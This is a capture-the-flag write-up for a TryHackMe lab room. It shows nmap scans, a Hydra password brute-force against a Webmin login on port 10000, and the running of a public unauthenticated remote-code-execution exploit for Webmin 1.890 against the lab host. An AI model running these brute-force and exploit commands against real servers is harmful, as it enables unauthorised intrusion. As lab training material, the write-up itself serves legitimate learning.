# source

**Room Link:** <https://tryhackme.com/room/source>

### Initial Scan

**Kali**

<pre><code><strong>nmap -A $VICTIM
</strong></code></pre>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FkyUPxWOckNdSVWiksjPL%2Fimage.png?alt=media&#x26;token=35a51538-a235-4ff3-b767-b4aa057c1e88" alt=""><figcaption></figcaption></figure>

### Scan all ports

No other ports found.

**Kali**

<pre><code><strong>nmap -sV -sT -O -p 1-65535 $VICTIM
</strong></code></pre>

### TCP/10000 - HTTP

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FJw4x9h23VtlQ1eoWjcAm%2Fimage.png?alt=media&#x26;token=6fd0dd65-5240-429c-8a43-5c2e6f398035" alt=""><figcaption></figcaption></figure>

Tried to bruteforce the admin password but it blocked my IP after so many attempts, this is clearly not the intended route.

**Kali**

```
git clone https://github.com/vanhauser-thc/thc-hydra.git
cd thc-hydra/
./configure
make
make install

./hydra -S -l admin -s 10000 -P /usr/share/wordlists/SecLists/Passwords/darkweb2017-top10000.txt ip-10-10-221-100.eu-west-1.compute.internal http-post-form "/session_login.cgi:user=^USER^&pass=^PASS^:F=Warning!" -V
```

**Kali**

```
git clone https://github.com/foxsin34/WebMin-1.890-Exploit-unauthorized-RCE.git
cd WebMin-1.890-Exploit-unauthorized-RCE/
python webmin-1.890_exploit.py  ip-10-10-221-100.eu-west-1.compute.internal 10000 id
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FA53JNV3F6wRBoFNVHo6j%2Fimage.png?alt=media&#x26;token=77920e19-63af-41e3-9010-360efcdcc272" alt=""><figcaption></figcaption></figure>

I tried to get a full shell but nothing worked, there was a metasploit exploit which I could do for that but I didn't want to.
